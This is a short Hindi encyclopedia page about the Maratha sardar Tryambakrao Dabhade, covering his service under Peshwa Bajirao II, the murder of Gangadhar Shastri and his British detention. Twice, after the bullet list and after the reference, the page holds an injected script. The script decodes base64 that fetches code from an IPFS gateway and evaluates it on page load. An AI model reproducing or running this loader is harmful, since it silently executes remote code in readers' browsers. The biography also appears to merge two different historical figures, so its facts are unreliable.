त्र्यम्बकराव दाभाड़े
भारत डिस्कवरी प्रस्तुति
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
- त्र्यम्बकराव दाभाड़े राजा साहू के सेनापति खाण्डेराव दाभाड़े का पुत्र और उत्तराधिकारी था।
- यह एक प्रमुख मराठा सरदार था, जिसे 'त्र्यम्बक जी' के नाम से भी जाना जाता था।
- त्र्यम्बकराव दाभाड़े पेशवा बाजीराव द्वितीय का विश्वासी कृपापात्र था।
- पेशवा ने उसे अहमदाबाद का सूबेदार बना दिया था।
- गायकवाड़ का दूत गंगाधर शास्त्री, सुरक्षा के आश्वासन पर जब पूना आया, तब त्र्यम्बकराव दाभाड़े ने षड्यंत्र रचाकर उसे मरवा दिया।
- अंग्रेज़ों ने इस पर गहरा आक्रोश व्यक्त किया और ब्रिटिश रेजीडेण्ट एलिफ़िंस्टन के आग्रह पर त्र्यम्बकराव दाभाड़े को बन्दी बना लिया गया।
- बाद में त्र्यम्बकराव को अंग्रेज़ों को सौंप दिया गया, जिन्होंने उसे साष्टी में नज़रबन्द कर दिया।
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
भट्टाचार्य, सच्चिदानन्द भारतीय इतिहास कोश, द्वितीय संस्करण-1989 (हिन्दी), भारत डिस्कवरी पुस्तकालय: उत्तर प्रदेश हिन्दी संस्थान, 193।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>